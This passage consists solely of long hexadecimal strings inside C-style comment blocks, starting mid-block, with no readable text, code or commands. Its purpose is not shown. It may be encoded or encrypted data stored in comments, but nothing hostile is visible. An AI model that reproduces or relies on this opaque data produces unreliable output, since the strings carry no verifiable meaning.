f0b688e3d545c340933125edddd8dd717220a179dccf1917cbf8784053dd65f51c82f62ccd1cd460665bc6ad16c8dc84d33e20bd0dfce196c8362c04bb837ddae07133c27f482f9620045dc92ef9c4911df15466c495e978914c8961ac59911a6dcb392656ed74068c199b1b35fb7dc83250db8b02830f09a672b135bccc09028a624afa87f17a9a1a6d5e9dba43890628c0b11ace111dc158dd01c9be1f320451a383d76c8d914125e098c667495e81a614d1607143212d510bf20d4a929ce3c13618d393369abfa3b96a490fd3297ef3daec13cd7b3d614931e0ba8158a7519fa477e7ab65ef6e1cf1bac19dea29a51b34ee4629034cf78c2efbed4ba2579ec32dba605cd2f2ec67dbbac58552725a8007dd70a4654fe54c33cbf267eba6d8cde3ae2081ce45d721bdaceaac3c699202869dd23154cd9b3f9b3fbaed9a11e4463c4a1dd4692e2e04cce4e71e878a7d55260bf439ce3a15a9683664a30338e0f5e4e181d97cf4b27e6a61adbaa97a6618e5f2b139897c6da820d0ccd3a3c78135bba1c5b4d91b931a7aac4722882fa21c93533c61df630d5e8c524c1b6c0a3910178466d393ebb3260e2d1200343999cf1ed635ec0b3dfdacba51acce8f7260609b16f5f61293ef2f37d90291e061a891835551860568cc31a2afc57e8f4041e3f929ac92517a0d9470bdaba13f7fe899d350d087829fddf47d7e582779285667520978e1f20f3d084a8e2bd151f53b1295f5162ed958f0161307d004f37ab1eebaf8e5a54963eee4b7c64c2743dc50e98090abbcbcc8b3adf407c664264d28ef01fb6e3dfd7c8d36cc5733c735bc732c8660b6a32e8109071f7aa8eafce45ce7fb1c4d7d3bdcac0ac906179371d36dc858abe885b39200a23e5b4463cc9d3beb134c538b64906a45d0a407421e724a42dfad808f0f2f074583745ec30f9f14d1001a79bd4ab68f61efeb6cdf835af6eac57ea63bce6a67e249e7e240fb011f9c1d58e0257db8c29b3c985bddbbbd73cb183151112258c4050173418c31bdd93815d62d5032b6d30696a19703068da50fcca263106ba872cf37f256a31a12bf75acef84b4b5a8da0ac5d02c75b3ed8a7f25212971b628138f81bd291ae939d51603172b3156ba3c58e66d88099d02c58985692e21dd016869ecf8dd69919a1b3d31145fa1c78dd6e49302c62f484e12d4e828f23426e43f19a29f22c9a53a2d597024e1f309a75890efe4986c6448f03ea90019b600240d9ac73383948e24c00a49c97a795e59f69bbd91b4c576dcd2e75f4477514ce33a3ecf52c6ef1b0b5eba2e6ceab01abe3a73e8049a800f1de046d6fc5e65ddb78dd7b6585e4b9292d0de412fed68983d1d40213acb5eef3b73ecef4a2181a8760c58cd576fba0da389be741ab54cf1c99e1c319b39a509ea4ed1b0da506fed87a21f97e90b2698b7ffe4fd8c097557c8e370d66105adb308c5bb683c13dbc075196c74b8c524c95b92437743ffd2bd3887357df632fa7bafb73dddd5aa997f8fdc67538f5e91b576f76373bfd6739f01934fff10a408ba0a86464ddd10804dc2ac588ed45dafd700542136ad4e5b970475ec5c9f89bb89aa4b7547bcd8f5f3b6a7750e6777f2cc7eba10517a151493b28a4619b696aff630714386d668076b8b60673da701f3b9074ff1f599a8e3ee6885e31e69d0a07cb95b7f282593a04538436ae154977d4a2f40acb8a9df81b4746bf296d68b5bc1de7f65eb369995d265c0186c9f44f2684f10a1d1b9c2cf4245fd3389dd296e68b653e63b3c47bfef9fd752e8dd07fb97e6a45940ce1db1287a023df55ea14e37694febfda29aee78fda348ed184b89cdc4cbacd148976c097acbd032af87622a2438ed86f3ca8353d76a90fb7d3e13eab043d333599f694e22f9facd4de9b694be5c487aeb477b29a8e51017c9d57b918e36879be01a8c04725678130df53e52699bbb718d5*/
/*78e0f1257a22d9bcad885f2e8ecea8119d3fd6754ed10fdf3fc75be81ecc269a2d8b0b58f25d8f9f363ddc3f8210bc339239e147157f034e495fd0f6eb27df14e757c5636943fdb4c40d4680fa51aee6a3f7fa35f59079ee629c814110ef377abd36cbcd24891048a1b022551f89bd35432114d56d85689e3571a7ce2a47f6e1526ffb4204c82fd2db4eab04cfa9ab459563fabf052f2e094fec7a48950781b3ed5e300e366b92ba81975d2aa741dcc24ba1811e9b47e83e86a2cdc189fc2a8d3ad86f385e9b320e7f01e7d5ac2c5032b471a80eb4c80b4211c1e60043c0849afc979de8b364eab90af6134d48e8af257f4eeb512588857152cbce27e8774793f7fbf077b99d440e4bc7ba082c93e318bfdc0acc06cb8405e92d3ddea155d5183482e3a9bb05d25e2e80859db0d9018ce20f2cfaaa493248b207f877863722beb68ad841d5e45f850d5d70722d967d3bf3020dfbcb0f9a26f454e01e0a68ae1071967498cc022f44d9993fb4270f43a5e41eb6453e5e16748c08fc66fc4f4f3e2f31f5e9c2f2f385cd9a594e18139b0db2b2444b4f20c75051f67ee0548ea5f351128f2160a5a6bdc978c1c5d9162b7f520f809e36d6ee77a18605af0a774db92dc833e0b3313fae6d0012bbd5c62cd7a4f6d06bff407cbf414380363a85d906945497938eca69b65f3454f838ba6c00bbda2c9d00f239e5336e09a66231806a90311f2f4d34c6a0f5536c2132ec4671e31ef3c37a86b31b31edd7b9bd0048766c7be749fcfd3101c5ab91cba38966de0e8aa9b72a8d6ff656b69cc916a469a3b27b094b6753858551982195b2db365e352e56ce9a3fbe8f9d72fb327ada6aaf5e89a82d2e531be8dcc6d089ad2b3496f468cb155d8f996b93f761198639f9665de23417b64bcb5f839607714f362512dfc165bda67cf503eb377b74ff17bc09766385c95289911bee263c10e4eb701db459150c157d81c95dd014c5fe253b0a5c2cea80b1af467c426d44873d0fd07a41d7bb64d9ecfc7e2e0b9b26c62a3c6f8ea4b296e585491d05e72539925f7f500361cb87957df7ff5067d36781d9bf1d5cd16ab40ace12ff61e716c2b8b7b495da30b0fbfe3ff86c1d2098dc0bd3fb98407429473ec05c210a5da0137ad130522164054ce8464a5caa2b39ddaef104df23614315bfdf012c9d8535c78bd5b355c8b28cf8369f38d220a0797d21211db4e9d5a0b770a3e0861a0f3fb68291c925886703e883f09e6a1596e9c906100009c9f493cd3067c9d27d45a163dc63dd77c3985b51b090b37eeec9ce96bb093f6c07ea8b0d265f0cf23211578105dfd173375c5e99e3e19111f8678e754566e312339220d744f5764b6ed2228d5475b414fa1faad9467cb4bfabcb174334f5db901d4f965843732a3638f3abd4f2f618b4fba408f43d9d2b74dfd3e4aa681c78a922d4f16463b25ed7fdafcdb0cbc7effeaa7f4db98a8c5858f5d56cc8a3db5fc999daf0cf649bed3619783f578ca084959a0adf30bf6e1ce77a9ad183e9302a3ef6b0c2bf7cb23e01ad227d6959328293e87fe77d9bde0f2030fc82f27a5804efe7642be5d23e97528495195eb8e30e955e01fe76d91cd202b105e08e00be33af35e2d2e88aeb21242ea746fc82793d91b08ed9cd8a2708466b088ea14ebfa38a42e622151205b4fd37fce8a9e30dab8db5f1b817c24de7049370abb10f5aedb2da56d20809cca30940cbf559469b27f5f8c76b76d05d56a01046c11d5b0d35fe5c18a44c0c8caa19dfc4ff54cd07f286b8d71a2ad835de370c3756328bf00b303703032f516b310350f916bc6ce75cbbdfced12f916e5900ae993f5d4b6a9713cce113030565f10985289a372a42cbee0731c78beb349317357fe343bdcb917e05ee33d608826fe117823275787439d599dd7dfc931074f6660fe1179f2a681770ef491f2e2e86b2561642d124f54fba736f40dd0bff704f8c3ef11a36692e8f0bc4b391a23ebdee330336b6bd85f9a427f814859b094e048be262e59e0405fcdb25c47b81c9408e6e81ff54711aedd67248dd23f9cff9ce339c9aaacc8216abac9a7ba5b487464055846aa136d765b3c7ff05db0d5ac1cfa4de7ffcc6cfe68e9dbdfb276543eba407c0bc550186acb67428cbd735e4fba02eb7e5a7922a4ad241815db638a30e436e2f0dbbd8bfc77a9a7b3df178383df2c7dbf416a97e1177290e3cf61e6621289ecd931f74710f4d336e4b5f539899be808244aef028a97afc8f8cd7ff79a575faa2e363c74ed9a58a929e13f204568f4a24f69982a9cfe5b3870e5f53bc5dd8f0a90092ec3754b1f2ba66366bc57ee5b464620566412ead395e508b088dd8fe83a50fd9d0a6ffdcb87476356d1b0b90decc97d1b4cbd2cb1baab0e9190bce61057ca38f3fd08a4ba15dbf58c31fcc2b69b4840bacc6eb3cbdee4b8b8075fda16fdc40e2dd413695aa5e129bb9dfb264277dc4be6b94b1a188e7690168c0e65eb47fb125493c77ba88ad58e7c3d711225d4ab3358e9fc49a2565c65cc64e098432da4f0da0dbc7c236c022bd09828eed227d8bb2c50008d62a1437de412de6ac582b5a1308f05277ef22ff9f802cedfa545a74c40328cdeda8442ca5ad4481d55eeb5493516309ea6a55a38ac874d2fcd10f3800c0aad3814580fd9266cd11d9e16910b7ce4ef1f4fb9ec866dbff3d6e2a383b86a59b993291346451857abbf87d965be47cc314b5680a02386358e10b2383c05c83a81a0303ef6801c3e1034740dfcce617e5f3b6348487efac00fe6d105ddd658824ee7ed24c35d767d708955e09859b62b09d5e*/
/*ae76d19de55d147e9b8f6dc53f14f6775ab8d7406e9dc0845c51e26827df2bd8ca1142fcb1565d5dc7ce07ca141c541fd63ecb46c71e2eb788774d37ce2be602f229f029820bd992da39004e3b94a75d92de7238767ae359426dfdcde393129c5d6894ae66690df7350d54d508612995a4b6974c52999017532d21c8f0dae40bb021bd8d9f7861d57fdbeda6e92ca3501997746e37dccaecee5f3efc2f1772a9f42f0503387530c5e13de2fd18d5d4c409b42e7b398b03523d29094116aacef9d533b04a70413837c01164bd7feaac59a7011a006f7284945717216c5af7dcc153e95f03be8d48c55367ffd28f65279c14b0cfec0c07326249a7e38dc3b2b31462df47659aa3c15572d82ff701a5ab69e0b53bcee5b3a9a8429a85725ee64ebf2524e5e6a18864a09eb1dfb8beb74d9ca4d2cfab14d00dbde069306a8a84b190b1f4100f1ac780fb585ccf86635e66dbd2fc3c2eb0a8813caf46c2a3ce610ce55a86ee0db635936778dd3c7f4db45e8c50532ee9026e5d0fcba6bc31c2d2b195c294ed5df0f989722b7585faaba406bc9145746c7bd16d5b8f734860647fb3dc3922f906edb0db97e9d173577fbdbe73f8318b4c1048ef76ecb9c4cc18104082c03b4b24b58300aced40376597e1ddbc1fbef81ba9968665311b69069f419ccae2e60f6749150595b531d015f538c63438f04fda71ebd061d5230d83fb09bb41246da81d962b7a58b46c85d7e2a51f63d031646cbe0148a668f124336b9b3889d6a08c39f0e97d16ff2192e3299e1ed3d10ac9b29e25be19f31be94598946cc211a83a1a2a2bc2f78618a9034e59ab427b876e027e57050736fd18fdc936670a1a825b523d18d326d9cc693a0056fe61654bd103af357ee9360619ef4f13195c2c8ec71eff5b3ddfbfac9445d2ebdeb0adaadc1333114c30f786b8a414d290f9c5d35c067ddb405155d2bfd7f87a7a8cd32352bd48abc95a0d6a001fdfae3ab33113da3c65b1b206e7afcc671f748ba9e2e56e13c940f404a44996d17c04a3aefb4cf285768d983873e5393cf77e7889fbd0125a39b370d671095042bebd7fc474b8df438be3af416bb3888d64723839b063a44807156a525f63cc8eb32ce911f8217670589f795af8686df8382772879f26fab3e457cbf2ad40b8b8a919cecf9dc6c996020490887fed3cf40fe422c32cade5288a21e5e5ec67f4ea11cf1ee29ff7170f86e414261bc956ec5e65f6d37fba5e3af70e809c9222c680de8f5d65537a4b4e0509ffcd866214c45ac4c612aeadfb0c89ba67e59bdc5adbc1e7463364d56b2b6f4664d60ec8e3693ff1ba8b9e4b0f80911d150dfc5274be3d3afe37855ab290f37976faac1fbac05cf36a4e989f78e775400bde189e962ef728ab3e9a3973da04c10fa5185d24c9fd27563c450857bfbbdc7c8e683b1353ac5009b165939cbf19b20359d6a312e74190ac9a056779f474dd4f789dff2062f4f2f1382cad6066284de2234bf0951dd6e4733f3f5aeefa23a5dbb5b760b6ec4828a9fab044766cbdb608837c6560b3643384f4a7122ff27a3ae77b71a4d7a85ce948730e80222881dcd0c01b18135c80296d070a27177981d64de654895e7be588d6c43aa11899e7a54d18f0373789f98d1dc1f53059e1d6a96b9322b66967651da2c73f43b257cfc5962c723e29cf43536f95019dc6eacb73ecd30e9e0710f2dfb28f5eb74c7b66d150531bd85eb0173ab7788eb64707a48a2b382e7c9e0793fb7a8694722abfce38a5981aee84e60a1dd23d9c383231b17150553c2b9242af488ef80ba896fdf6327a6a85089355922104280d017dcb8cbd0fa31c22e23aca4859c8c0d44364aee5b459777d4bbcf7003492c38d0654d26cf589ada42e994e70fed4a7a1424b89b7cf2e3d49e5155f62eec79093b453a251005bca24f63bee32f72ebe878e15296dd0d983ab07312fa4ab0d22685456a7487e0b1f12feb7b2c1d46f14923f5edd23d542c991bf465c9cb8cbce3e46be493cb63322be054fe5dd2b89f87aab5b5f66ccd561f61ffcd23b3e79e746612cc3977978f36ee7d36ed1fda555b11ef9b97bcfd4aac5d91278eb269b8158071e46b2ff974f51630a028cea5847408454c0b48c02ba16d1d7485acf8ba6ffa85044b0a54ad1abb904e38a3581fa115369990da4bab5f086c6b323adff51f11b1354045cb33b034db518135808273443a43f0dae2029b25212e39553bedf3df7d758f05ccc88c8e73fa17df296cc8a01f3cf4d7bce43d8b69edd7c7fdbbb9d9ca9501feefe495e6323adacb7d0c140eaa49844ad89c5b205f6cb4c17a1c64f24c9a6d5458aa9772688e7a160167d93ab1786ff9df618535502178fcddf946b06870921e5774895d76b56a2f87017ab527ab486b5c8ed27c81218e3565508697b1890d16c1ff07a9ece5199801ba1f0973431fd7f5443f5cf58e0de4c22b27fdcfca284dc1770fce8b45a764965517ddf80c4d49c4df8ae58a5cf5bad556d13882cf5e528533ff97f31394e02bf88f26f0f1701d139ab4363779887d9ee53e0036a110e463936b4652b693b18800a0f3b74d593359c6615e7e9e6d73fd4ccfd5b3f68de9b0ce752720ef64b67efd7f5e35c97d0833f3c6e0656f21e4ff9ce79f7e0e5d90b75d6985e99a432c40628128a5b37b22f39ff37f01ebcbba9c8db36113d0bc6ce9a505adda9481b2749b9ccae1421483b175f4cc60314d8d01d9e843451649e9e928b2062d35f3e6e8578bdeae71404e80acc48f5521eb683111a96d1b2c5ed065c8fe93221a93dbdc241f73ca4ab6f4683453298b369d66e7c*/
/*b10648d8878006e5e7c6bf32fdbaafc9d933f4f7a8a2c8cdcc3b6b3e815db2628635534601ca7fb11f7097df863ebeecab62c48d187ac588df4ba01f93e73d7b22494fbe7886ef06866c125bcee6b83f4e5477f884574d805e30c38b5a173b4af5cf50960e19d252a672bb26dd999c01ee031b24bf5326efdebbfbe7e16bc1d67c6bd13f21238194e867a426c8179acbf571de2c340ffd0bf06acc658962100de8239fdd78cdfddb01df74a6b9fcfd3525226e0679c696b0df37fdfec10d072c18348c30f709781e56b0707f8ddb6dcd6053c2aa921c2ff0746e3953ff36c021f0b3185e19e0c21f55dcb018583d5c41bee034d21cfa49368eaadf4a15cdd5bb8fdb0dc06e881a7be0f00c887760bac8b45699636c4953d7c7d811687e742b0af0fc2f0711d2175bc30122ed0c2f9ad9ce02c808b9f2159b43d9595473c74a40b74d820d578926e3ce34b5f17d63ace24206230d4782752704dbb50569d4422c26340eced89fcea298382fd68931fc73d022294fb13247a73b57e72c1e2463ff90d777d5f6d8ca745c12c12fc08cb7442542107bdc975509f09ca6a3db69f1dd87607d25b4f1d6ce6ad94fbb34ef1152aa8ebcd1cb245b5e6927918fdc0624f107b8158cfbff15f122202967ed23840472f1bf5f6ec4225ff14c3479246ad7f21448a824eb77e6808b7643494cddff646395e71b0350a1b5dbdc65ccf2aa7acb72ef9265baea68d1c003798ee65352ea7e6507adee3ac73bce7e04c464e47067e2839372dd64df4bd07bda2941f1a49fe196c55a2c59e8006792ffed3a8f78a3db2340d96df506116ec98bfbada4ebe972d9698123fe95bcca17e89a1c98ec9be1b7b52ad427d600e94f9a0d6b71604b124496bbcd4b7fa1efeee76d5f5ceda6ac0fcd38f102eb0ad79a656c5906cae844c9704de7cb426031e66152fcdd6037d2a2862fa07a34607dcf18cd1087b17d52c8ae69d8010fec387c25653d8c77c5f7d8e78466e2076750ffb42d71aa0a2dfe75ef5eba0ee6e75a8ce6937ea363f80cea355ed105d71411d45521d4c8ed80c8518e7e5301bee9d74f7e12fbbdb508e90b20691f8af511a703ce16f840f0cc828241604f6ad99f75e18ccbe3e246c53091aa03627a15b31fe8465a7aeceb64a8b3062e247b92574f6abc29c7f29f454cca40a1aabb42be4b0c61cb99630b2dfa20f2b1909a70ad420be31c172f612653862cc56cac656a40fa95b21c81372ae76e8ab1ea7510e13e292b156c9df41aae0443acef0cb7bb618046fddb72cc2726b059bbf0cfb4d05c939ddbfdaec5e2c6e8a6fb5990e36b1d9b705fd85502997edb1aad67cc13fe7055217b944e4a5286b11cef5c66fb027d02edc98caee8a49420016e22ea7c055ebe2e1f08978b8c430c809b538099a42abd9ce354396997a94c933bb32fb1c9d8ab7d9225282337c9214c5371c5ba94de77eb4c9f12b981645f7b542ec535b110d30851f2368b7f54212a716b2c3464bb98d4b305ef0af484ddba0ca1c32bd1aa942612c93cca3d4574daa7b7979f0d036cc0442e0cae4ff7f6525be00685724d52bb8084d5123c51b4f20584e8a91e303f57fd7beca41324dc8f18b61408189b627938c53c0b96a264ee13fdcf18a718f19dd383abb66a9d840ea0f73f63ddbecea5b44d6fec5d8af1c104bf9b68c7503e0d4f8654dc2942d4aa5d40a06abb0561ea9fab1e48946169cde1a74f782b6a821c119eccab401d520bd6b115eed8e4298fab0c6d7f6dd7592b86abef5b48a6696dbce3d764f8e91ec9c55c3f1e4c6b5895fd45978bf7d5ee25f41cb7753af66dda481c06b13f61b839e86a9e8711726d315b032e923c455087a4b108be6ea399da5e74d208c08a24f430ed9a5f1d9be4ed9229f41a173dbf4dbc6e73651ba1820405c46649caafaed91c76b70693e848699be72b63be022918fb4cc8a2c2dfeef82cda1e8af6608ad6f42284530b86f28b61fe6deea74bc8cd8842b1d1d62789d502de1dfd88908bfd407dc0d05293c0133db0bd9e30e5edd6cb41760c6d5dc61a74d7def54c7536c1ba863feea774d7f9820fb8af7f1fbabf4890454a0b562f1cefb667145a3682f0aa43e1fe267a45c5132dd2e54425a0b44bf0cce62d2f071a63100c61ca83badf3c6248f30e4df74f8797cbec0c4589570db6f1e13af7bb9617537024193f513e99b3f6c89361cbcaa737faf0f0961a30dd5b57d464cf1f7598a7f210300a688a0b2b6e629fbe01853602d0e9451690f6d575fd452a16e1d3b24c4a040ffa8038db286527d828506e0c14962d80a4b4ae43a49d7d0563f48f26d7c22e072817366a2f9b5e6038489ebb395d8da85cd1a7a7cf9584de7836cf4f8f07d1a037dfa5d1adc4ec9f1d9112bf55e041992919674c37bf09af712159c678acd58e0df59af22db0bced77f376e9bdbb61cf8587bca752f41de1c3ad61c3ae8507636f49be0e2d36a6a71dda8c4bef66a8232c062fa26cdca1c5030cd9068b0f2498f0d4b57abcb3c2da3da93c04d8ba42aaac592ae31d4880fac3e5794632409cdc6a2633c93fd1bf8067feae024d5ff05ab687a3eb2dc3e4b94025a9a34222879321a7ab7b2be65b2ce9f5d87c6d938e66ce543ef9137d7bb6adc6fd8f8245015081b0509dd55b9b43664e61babdb406a8894788ed2b68cd5c092267a13bebe749cfde50b2838bde094c138a2368682cc5fade769975e8401a3eda824b7bad6192c95bd8ac87f31a318498e20d39d958706c3258cbe115c9a4915cac6bf5c087ee719094027b939a4a24a787cd9c5e1b87971fbf67c693dfb84b7d04f642984943*/
/*cd289f1ea09f6afbfa7eb75437c33554b2f5bd8f15fc4e804c080a980586d3ef5bfd486638723a5ae9613c8d3c6652e862a956b70fac6e323fdb4d931f02206908379776510e3a4afbb09c92a95990e97640da95b7a2a752e09970f90a8a0a4ffd60a3299fa2287eda0050f947a968cff601e30f21552fb3302bbd0e77d3a65944b6ac8007cd8d3a34dbad09fdc9e41f3c153965dcb885bb7755b4975e1e4f2d78ce90ed8a8ad4b995b225f1c8990a48c7bb308ede517e8c29cef2fc7c1f684ff29d0da16e508d12c8dd15f4f59af5b84b9eadaebaecd47b81d1c690b90b08b0ba280a3042e6edf704463bb038d4da7045f40c9926863f466f287abf22af5092ae72016679b20c93685e95883139ef75109d878a92d1cbb7594d34fb1fd65a33059607bf3dc38cffb982611279662ed360ef04c5eadccb81d201e39eaeb66af4978f3e5abe4134e23d46a3aacc6ac53ccb2d82d92c035dbf4123ba85c0e0c734033ed33c88b5edbcf913e8dcb4c5ea99a8e0ef0e1fc332a4713894ed1e02b21e3f8ab2cbfcaf1d0bf738166a76869212287769976ab561e0507de93bb87ff54cad7e1bd0104b6d46931bb8928c865daabd862a26c0952d205ec43b592328a93d0205926fa38cfff8cee4e0892bf2fcccced10dc844169553bda14d006e937e591afafe44599adb6f288fb56a358493b5b72b1fccfbb39f9fdcd53a66d42a02c3774d4b31cfdbcb9b36c0190aeb4ea4bd90aaa3f930f543e5202501b46a24d314118f42e3c8bd2a54176650018812aeb865b159e181ad2fc7f9cdc0d8717d0957a927679209ea05804bc9ea06518c8fe922664f42244dc65d557cc032b79eb70a72109fc107164674c99401d0ea7ee1a595490f6d39e2aa4843491a743ea7876b17adb1875a427ed74536e21943e9ba9054a3d4616d5545e07a6a3ccd1ed201b1e57d7181aa9591033e0203ae32866b90151e447e9a1fa2db4f45851179885a886dbc55acd2262de84574232ad3edccf1b42ba5f898f65f65e77c9850dda86b924f70a295aa95cd2e5c6e24fc260666315e3394bc2ed8abeacf1f16513929a3813be178001ea869170bfad358ba76d5f046da50c47af7f66af8f643671459d0e7b0491f41fabb49dab9e1df17ffe146d6c9b0f148980edac80416ff260e6bc34dc08775658f272c057b09ddf3b7cd03624df8644150d545d51ccf24efc3852131aab8df3f3f59d8aef6122254e1f724732afddc88937f4906eb941b6ea5e998a1277ef1df90689bbd94a1e00188fd97b1c3e76436cece6f8c433998e8eaa5f2c50a768f02cd328d5dc80dfed1107c385ca34f6cd2c2e13ecf9861a6842d7c056daebf75a90fe7307e37fdff3771c69e20f20b1f08c14ad425186ca7c704ec48b9f0fcddb6deaf643fed25617b945842b23d12c2ceb1aabfe382f98f53ca4862b59143e35998ce77ce625258c6e3eb7a700b6b23c71a08a203fe6dd88e4011b66e5bae0a63f4c107f18fd25d156e559221a50a4e9ca4229a3dab44a3136b43a2a25a4d33eff8888ebd0ab30f6b88aa1e297e12a6e0ba1eae32e81fd73b39876e6371dda63dfb30393c52a779b920f814f35670d348a0d3e2eebe65c24314776be8cfe8427adf8423d0ee6de9b12c35e26a797640ee2e7773600746b8b06c180bd3a714ec82352207dad082831a5dbaf29676d1ebe0487bdbdc3f5d506dd8281b2ef081e681b013bcc62e2ebc62963be20cd3116e6a1f48ae5fa760745bf7c7b27a7b20beab8b77537f14f091ed85f5ea85f3ad20f3ccc5c9e12efeb293f40513073bc3960a9b3eb0ebf83ae23959ef07c978c5d2998b571b36c081c5c0427c518293ea633deb254a0ee52caf37ac8adf42d8df4ca567164f5df418928e6533b96a9c2ceb0a266445ee7f24387cf386cce6597ef1efa5e38048d09dd74e88c850a1ca1a4874d1997c1db206e1482fce14a4fac5e9dbd66eeb6c1e2fec952f90a6341730d987654abd837084edb64c3a287d360e760dbfbac40b238b0eacf4bd4bfda63d18342168390d6491e6d0b2e195e8b68b69b39643b316cb7a3038d2ac0dbb8b9c19de8278203a27fcba3385f414b16dace9c642e0f08678df468e5d94f468fe17625f99664ab1441967d61c02e3e89daab09ac9209d41eafc95b1e8d882948406c1bcba830fb2911000f6d76c9d3a88bbe42733ce992d9a72161ed93052b2824ca9f06c8cda744495eafd9c61ab2b552409d8d0c3dfcf97f652451947af3b4d7834f27ed311c793641a56702539bb2d6a083ceec44c0fb226158df2a00b1f2bc31b15048844b36f3ba5cdacb231a06e1d6ddb39c5b5d7892b93ab51f24d6793c4cfa0ce18132517cbbfb2d11c339bdd8ef576d1ebf1c185b974d548c358d208aa706c28035c59b8878433b8009ab83902108e94eb1835bd9f2d94046bc66e2682e8a0a3f6dfe0aff54f4fb5d31a3db46871fcfc986637d67509c440f8f77867bd934338f9764372e03321787dcb9dd8397f5021d5c08b3ecb2f149c9bee2da41c32b34671e792147b28f36a39a496b9ae8d7912bf03b67bcff234c8a44dcb7fbc101ed15688365ad4c0d09c890c918f4c14f81f01838b0337c457a7bfd12cc8fbb82d9feef268c7b1486bc8c2dc78f6c9f5a3eac669e538a79e2416071c6d26b0aed0a67f967f6071f6a3439d016c130f8be5022c53eab560ee0aeba1149e1fe0d7e30f3ea001d557bb1571cd573344eb1328f4146032636b4c606b8a1959887f6149ae4d62618a23cc7c0c6c31e1304287bbd6acb9d7775040e5d25befc47932d00420d8c2b94e27c8480f693ba1*/
/*66eba9ee6d253a8eb78fdc7cf7dc87f82fc58df9a52947bed5037551eec881336ea9cbe0e3f45013e4abe1291480af50ebd6a4248f141dc0ff305861fb6f945f8351ca076130e1af51f5d6f3aa6bf5f0753cae3cb9766b02c949c4ad5c6f99c70b887dde14492e922ad09369f86426928a9ef010c6e527561dada891d4267066cd249385f67b1e759b4e3bbe26e9124fe1c29fcd991896309439c931759711ab2562e815f7bf249af6893ac3e9548bb6370b37d69cfa0b8629fe7f83139e99a14b554066b58c09834b88e172c1c698364a2e9b9a697e1558f8cf3d411886345e454ce5ab5383c72184d7b771b13d6b2f54b21473e0968413e03bea5eca31e85d2ccdad654680b5e20bc826aba7a9ed720cba48d584ffa00b306209fad62f9a5c66702e34798eeb2a56ccf4e3b3b1acb7994e970246145b3b060fda33df3ebce2d06d0c19aaa58a13d5156a9d726ac3f08d78d72db63809d5b33ec83b2042669269b29ad1d13b166eae1e34ecf923cea20f2a83bcace7e7e321117753aa650d13330e52cb8e39645ffd2dd5241c5084cdd892693903b95ac719360c083e8acdbdf99b702e7bc5fbc511677d372a6c89aac145f1eddc8086431aedc5a26936cac0c7d476c7e40064be7dfc2a2185ab3095afdb0f4139b93ca2e9a4d303be6d5a429778e61bb93d8894e03d81dc84d8ba4673c8ef4dec11b84fc87409edc9d67a0c03e71f6cdd2726faa22694a1a7d8f6cd7b100106a356221bf38656a9abdd0a2feb5ade6f2129d6c742ce7c060fe90df5ee19666af9d3e97da55f3ac9266a5f48f0e7e042161a7fa1ea3d033a6f6aa0b52eb9895afb67938ce750f2e99ac8af815cd360d663aed3c48ee5073673663afff20b3002b9bc7c69155e8e8dfdeb87857b0dcd91bb9abacbd88ab3f66ce62800deea500253c45e49438bd659bba56db9aa6753d3b63c09df19938a9cc85670ec396edebf82d686371b69bd23310a873fe0ecbec0f4c48787c8191dd7a3667748b99680044ccf6ab5bca7c8c38122bd4fe9d4d5ea2abe2e8b19319fb4aa41ee16aa22f7356dc805876c978973175f20e114a9b8e6bd4ac6340501ed7593248a8a23bc54d8504ef418d8d3af1905008bd640cf9a9583410a669c348eeca6668bcd7803996245d4036848363ffb14910831f54eb02a374960432c0f896c988a9c54e5b29602e473fde9163534557207849e247ca61de9a5731814b3f83f8c3838333cc2f3c133a2e6a7d8ba70cf1bf7ca7f467c2b0f8313649f0cfd8ace37ede04148da2785c33205d02fb1b30c5c9899d9a380681fd62dc76d734218b1fcbc5371b1c2ba3055585119cb5e58d3c608572d198f5edc84a3aa763fb2a611604127e4ef500d2feb5bc53688cc0a21dee04cc839d441f6444609e87fed219e1a930025fffdc18fd829ee4d5499adea75671c83ded56e94af0acae11af8e5e84fdeb5c63bc7c2087e75b4f549b60acbd8441b2c93e0cf21352d470e26b4ca3ddef30ec1ffea7badb5047dd88048040dc1430b402c70a7422c6750db4014064d0fc6fe853c8473b0f0a6f25f03c8fa67f0917b66260edf80c154a9e10e144cd046af9dc2aac360e114555f90ac75f172c95c550603395164966fa20d4518e722d093ee19442f45b71e99035def89e03e67ade6d4e6013c784fe6a55ddee20693c92918eed319d5ac736dc0a3b062cc35865cbccc054a469a7d920b963eeedde4d3b0c6c86d598cd54f747a6d51936977ff351835bc402b692e273119354adb8ca3910a8f203de6056a85f9c943a04d5fd4a75684c3405d387ab83f501454a0a15a0f6fdc782c8f9eb337fa37779fd3ac2f73fb5464b298cedb7e7993600f960b3d86eebe376217f2207255c6b371c02a2cdf53f787e16745da833ce558fef60c3d5fdf572150ae15371ce05ae7fa023a09d648b6795cf92e553afbf9abd970fe2b565103a2aeb907c0471921b6fbe996664a2b22987f269216cd9aaa5f9e1481eabe6b30fb5c2be0cd034494adf9c5d086e5fa50ecc7e2ba17fd303b9241e42ce5a29192c75504a5ee4766024b279a889fe17b4f350526b1558ca1a0980641b6e69f0a693e196cf76d2531dc18027deb2192807f0fb06a43479d14ad9572b6c5fa7afa2ff24e081d2e4cb687fab80a780fae3580987514842636d14534495725c3cf7aa36a5746e797136bdd14c07983c5bffd66fa24ada5655c754d11ba33a7802ad223934396f914fdbb98eeb12da180940bf8fa2442634cdc5c372886d8258b5b1ca696f45cc59a41b6bf917bef850cebd203e5d8bfb0285816978ca67628dc8e222c5a8794ba96f1795e5fb50ef094cd580ced2e2b1818e4be89e39ec4b1d76a21f7fff7d721d876148f1891796712fa09cb7e7b1e7329631cbbf2a5a854d00033e3c5fed57bdc1ce1bcec554882cdafcbc2a4fbad6ece45b005ea23361c5f00f0add1835f0ed280ebb32342af4871b60eaa30f75a0d637944d99e12b2b16fb0f364bee4791b1c9427f383b237ac31e455fc104e1b784bcb580638790c398b38e105b2aa70054561e1307f3a57787e96bbe50d9c3eaaaf0b5076e65af91969d08e47b6f266a4ffe853c698a58dae8159f9e739c9cca481746d709d8bdbf9423f259bf94f86b309111ea94e722df8a78476cf1183e6e506324b9ae6b857a5608bdf56c9b204da39bbd4c0f0c3981279af4a3bd765213ae7486c4a12005c622cb4a7f03ea8b204e1cd61c0e20c7cbbb362f3cbe5e0f21c7820e61eb150bc9960b4ff34127b052c90c5ab3b1a6a5eeab0451d003e7641a0ae914e4ad645f307420742cc*/
